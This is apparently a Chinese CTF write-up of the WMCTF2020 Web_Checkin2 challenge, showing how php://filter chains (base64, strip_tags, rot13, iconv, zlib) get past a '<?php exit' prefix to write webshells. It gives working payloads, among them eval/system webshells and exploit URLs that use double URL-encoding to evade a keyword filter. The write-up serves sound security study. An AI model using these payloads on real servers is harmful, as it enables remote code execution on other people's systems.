前两天看WMCTF2020的一道签到题,题目是这样的:
1 |
|
可以看到这里最吸引人注意力的是最后的file_put_contents中的<?php exit();
,虽然$content是我们可控的,但是无论写入什么,前面都会有<?php exit();
阻止后面的代码执行。
另一个点是file_put_contents,第一个参数是要被写入数据的文件名 :
1 | file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int |
如果直接构造webshell,那么文件名会变得很奇怪。这是我第一次看到这到题的想法。
上面的问题中,最重要的就是如何绕过exit
,这个问题其实在2009年就已经在 https://www.sektioneins.de/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability.html 被SektionEins GmbH解决了。是SektionEins GmbH在研究piwik的一个反序列化漏洞时遇到的问题,piwik的作者为了提高程序的安全性,在配置文件中加入了<?php exit;
来防止攻击者写入恶意代码并执行,这也是很多php开发者会采取的一种常见的安全措施:
SektionEins GmbH指出,可以通过php://filter过滤器来绕过死亡exit。
而ph牛在他的一篇博客中也详细的描述了这个方法,所以以下的部分内容从ph牛的博客中摘取:
1 | https://www.leavesongs.com/PENETRATION/php-filter-magic.html |
情况一 2个变量
1 |
|
根据php://filter官方手册,可以借助php://filter向文件写入数据,https://www.php.net/manual/zh/wrappers.php.php :
base64编码
第一种方法是利用base64编码,base64编码中只包含64个可打印的字符,即[A-Za-z0-9+/]
,遇到非法的字符如$
则会跳过,仅从其中挑出合法的字符进行base64解码。
$content
是<?php exit;?>
和用户可控输入的拼接结果,所以可以传入一串base64编码后的字符串,然后利用php://filter/write=convert.base64-decode 对其进行解码,因为<?;>和空格
在base64解码的过程中都是非法字符,所以最后只会对phpexit
这7个字符进行解码。
需要注意的一点是在base64是以4个byte为一组进行解码,phpexit
一共七个字符,所以需要补充一个字符,否则我们传入的base64编码后的webshell将会被拿来补充这一个字节的空位,从而导致写入的webshell乱码。
1 | PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs ===base64encode===> <?php system($_GET[1]); |
strip_tags
另一种方法是使用strip_tags函数:
利用strip_tags函数去除<?php exit;?>
字符串。
测试代码:
1 |
|
可以看到的是<?php exit;?>
整个字符串都被去除了。但是如果我们直接传入我们的webshell,比如<?php phpinfo();?>
,因为同样包含php标记,所以也会被直接去除。所以直接明文传输webshell肯定不行。幸而php://filter是支持多个过滤器的,所以可以将webshell进行base64编码,然后利用strip_tags先去除<?php exi?>
后再利用conver.base64-decode过滤器进行解码:
1 | POST: |
rot13编码
另外一种方法是利用rot13编码。rot13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。对于<?php exit;?>
中的非字母字符则会忽略,经过rot13编码后结果为:
最终的利用方式为:
1 | <?php phpinfo(); ?> ===rot13===> <?cuc cucvasb(); ?> |
当然如果开启了short_open_tag
,那php解释器就会因为无法解释执行<?cuc rkvg;?>
而报错了,所以rot13编码的使用前提是不开启short_open_tag
。
情况二 1个变量
1 |
|
在这种情况下,只有一个可控变量$a
,此时我们构造的shell可以放在过滤器的位置,当php://filter遇到不认识的规则会报Warning,然后继续执行。
base64编码(not work)
在这种情况下,base64编码并不适用。原因是base64一般会认为=
号是编码结束的符号,而在我们构造的php://filter过滤器中会出现多个=
。
rot13编码
rot13编码是一种很好的去除<?php exit;?>
的方式,和情况1的利用方式一样构造:
1 | txt=php://filter/write=string.rot13|<?cuc cucvasb();?>/resource=shell3.php |
访问shell3.php,在short_open_tag
关闭的情况下,虽然源码中有无关的部分,但是能正常执行<?php phpinfo();?>
iconv字符编码转换
另一种方法是使用iconv过滤器,本质思想和rot13是一样的,将<?php exit;?>
通过字符转换转成php解析器无法解析的字符,在short_open_tags
关闭的情况下就能够绕过死亡exit。
一种方式是利用UCS-2:
然后用php://filter对其进行解码就可以绕过<?php exit;?>
1 | txt=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php |
写入的内容为:
1 | ?<hp pxeti)(p;ph/:f/liet/rocvnre.tcino.vCU-SL2.ECU-SB2|E phpinfo(); r/seuocr=ehsle.lhp |
除了UCS-2之外,还可以利用UCS-4,都需要注意的是,这两种方式都是对字符串进行2/4位反转,所以我们在构造的时候就要构造2(UCS-2)或是4(UCS-4)的倍数。
比如对于UCS-4,我们要进行补位,否则在编码或是解码的时候会报错:
需要在?<aa phpiphp(ofn>?;)
之前保持字符个数是4的倍数:
1 | <?php exit; ==> 11 |
最后写入的内容是:
1 | hp?<xe pp;ti/:phlif//retnoc/trevoci.U.vn4-SCU.EL4-SCx|EBaa phpinfo(); ser/cruohs=e4llephp. |
WMCTF2020-Web_Checkin2
回到题目本身,这显然是属于第2种情况:
1 |
|
但是对$content变量进行了过滤,过滤了/iconv|UCS|UTF|rot|quoted|base64/i
,此时有两种方法可以绕过:
- 二次编码
- 过滤器绕过
方法一 二次编码绕过
php://filter在识别过滤器的时候,会对其进行url解码:
传入string.%72ot13
会被再次解码:
而在$_GET
请求中也会解码一次,所以选择过滤器rot13,可以将r
字符进行二次编码绕过(%25
是%
符号的url编码结果)。
payload:
1 | http://192.168.247.130/index.php?content=php://filter/write=string.%2572ot13|<?cuc @riny($_TRG[_]);?>/resource=../b.php |
这里第一个请求中写入的文件是../b.php
,因为当前并不在/var/www/html
根目录下执行:
1 | $sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']); |
当然很多时候服务器端会ban掉%25
,可以用脚本跑一下还有没有其他的字符组合可以构造r
的二次编码:
1 |
|
最后的payload为:
1 | http://192.168.247.130/index.php?content=php://filter/write=string.%7%32ot13|<?cuc @riny($_TRG[_]);?>/resource=../b.php |
方法二 过滤器绕过
虽然过滤了很多过滤器,但是还剩下zlib
和string
,所以官方题解给出的另一种方案是利用zlib
的zlib.deflate
(压缩)和zlib.inflate
(解压)以及string.tolower
来绕过。
直接使用zlib.deflate和zlib.inflate肯定没有效果,所以在中间需要再利用一个过滤器去除掉<?php exit();
,写了一个test case进行测试,看什么时候中间的过滤器会影响inflate的操作:
1 |
|
发现当过滤器为string.tolower
时,会将其中的<?php exit;
部分处理掉。
payload:
1 | http://192.168.247.130/index.php?content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?%3E%3C?php%0deval($_GET[1]);?%3E/resource=../a.php |
方法三 爆破临时文件
根据官方给出的wp,还有一种方法是爆破临时文件。环境特地设置了php 7.0.33版本,由于file_put_contents也可以利用伪协议,所以老问题,利用string.strip_tags会发生段错误,这时候上传一个shell会以临时文件的形式保存在/tmp中,利用require_once包含getshell即可(用一次就会被覆盖,所以直接反弹shell或者写马就行)。爆破脚本:
1 | import requests |
但是还没测试,因为还需要特别搭建环境进行测试。
php://filter与不可用规则
php://filter在遇到不可用的规则的时候是会抛出一个warning,并且不会影响后面的程序继续执行,对源码进行了一个调试:
1 |
|
其中包含任意字符串PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs
在第160行和第163行会分别抛出一个warning:
跟入函数php_stream_filter_create()
: